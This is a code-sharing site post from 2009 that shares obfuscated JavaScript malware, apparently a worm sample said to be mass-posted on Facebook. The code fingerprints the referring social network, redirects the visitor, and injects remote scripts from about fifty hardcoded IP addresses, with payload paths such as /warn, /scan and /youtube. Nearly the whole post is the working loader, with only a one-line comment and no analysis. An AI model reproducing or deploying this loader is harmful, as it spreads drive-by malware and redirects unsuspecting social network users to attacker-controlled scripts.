Code-Bin #424 - malicious javascript

malicious javascript
Posted by: joetheh4x0r | October 20, 2009 @ 10:58am

Javascript Code

// KROTEG
var hublqnsvyompeir4 = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var tvuareyqknpwilbjgo5 = [
'98.' + '149.119.113',
'98.' + '100.138.242',
'70.240' + '.220.107',
'99.16' + '3.100.70',
'82.60' + '.169.70',
'68' + '.49.177.200',
'76.15.' + '179.143',
'24.' + '99.214.67',
'90.' + '0.223.47',
'2' + '06.248.8.29',
'75.219' + '.58.33',
'74.23' + '5.204.67',
'85.87.' + '233.191',
'71' + '.228.43.222',
'64' + '.188.198.23',
'76.177' + '.33.129',
'6' + '5.188.140.249',
'99.172' + '.14.197',
'68' + '.149.130.123',
'131.247' + '.116.103',
'69' + '.71.43.20',
'76.2' + '51.226.70',
'98.12' + '1.132.28',
'82.2' + '3.136.234',
'66' + '.171.209.172',
'2' + '4.1.19.146',
'85.178' + '.162.48',
'71' + '.76.11.194',
'71.20' + '4.39.210',
'67.19' + '7.176.58',
'72.16' + '1.170.87',
'99' + '.130.179.73',
'6' + '5.188.45.102',
'75.2' + '49.104.63',
'98.200.' + '147.100',
'68.11' + '6.82.77',
'205.236' + '.230.141',
'93.14' + '8.234.45',
'99' + '.56.240.247',
'24.1' + '93.187.124',
'78.11' + '5.29.106',
'7' + '4.220.9.223',
'7' + '2.66.139.38',
'65.18' + '9.240.19',
'75' + '.66.217.95',
'216' + '.129.179.224',
'77.9' + '8.53.140',
'66.' + '72.174.146',
'68' + '.80.201.12',
'69.94.' + '216.131'];
var xmuthp1 = '', ghqbj6 = '', uzkilamvpwqscntfobd9 = '', yagiscrwluz7 = '';
var ulkiowfzdnxv3 = '' + eval('doc'+xmuthp1+'ume'+ghqbj6+'nt.r'+uzkilamvpwqscntfobd9+'efer'+yagiscrwluz7+'rer'), rxeajovwphlsnbgcz0 = '';
for (var kboywhgzvfjicnlsdm7 = 0; kboywhgzvfjicnlsdm7 < hublqnsvyompeir4.length; kboywhgzvfjicnlsdm7 ++) {
    if ((ulkiowfzdnxv3.indexOf(hublqnsvyompeir4[kboywhgzvfjicnlsdm7][0]) != -1)) {
		rxeajovwphlsnbgcz0 = '/f=' + hublqnsvyompeir4[kboywhgzvfjicnlsdm7][1];
		break;
    }
}
window.redirect = '';
function fcalwphreqvnsdx3() {
	var vdzyoxspmku6 = '' + eval('win'+'dow.r'+'edir'+'ect;');
	if (vdzyoxspmku6.length > 0) eval('wi'+'ndow'+'.lo'+'cati'+'on.hr'+'ef = vdzyoxspmku6;');
	else setTimeout('fcalwphreqvnsdx3()', 50);
}
fcalwphreqvnsdx3();
var js = '/vi'+'ew', l = '' + eval('loc'+'at'+'ion.'+'hr'+'ef');
var n = l.indexOf('?i'+'d=');
if (n != -1) {
	n = parseInt(l.substr(n + 4));
	if (n < 101) js = '/c'+'ne'+'t';
	else if (n < 201) js = '/wa'+'rn';
	else if (n < 301) js = '/sc'+'an';
	else if (n < 401) js = '';
	else if (n < 501) js = '/y'+'out'+'ube';
}
var ss = '' + eval('l'+'oca'+'ti'+'on.s'+'ear'+'ch');
ss = (ss.length > 0 ? ss : '');
for (var kboywhgzvfjicnlsdm7 = 0; kboywhgzvfjicnlsdm7 < tvuareyqknpwilbjgo5.length; kboywhgzvfjicnlsdm7 ++) {
	var nn = 'sc'+'rip'+'t', ijsxufhebodapwnvgm2 = document.createElement(nn);
	ijsxufhebodapwnvgm2.type = 'te'+'xt'+'/ja'+'va'+nn;
	ijsxufhebodapwnvgm2.src = 'ht'+'tp:'+'//' + tvuareyqknpwilbjgo5[kboywhgzvfjicnlsdm7] + '/go' + '.js' + '?0x'+'3E'+'8' + rxeajovwphlsnbgcz0 + js + '/co'+'nsol'+'e=y'+'es/' + ss;
	document.getElementsByTagName('h'+'ea'+'d')[0].appendChild(ijsxufhebodapwnvgm2);
}

Syntax Highlighting

[Open in new window]

Author Comments

Found on facebook, mass posted by infected member

Rating

4.42 / 8
59 Votes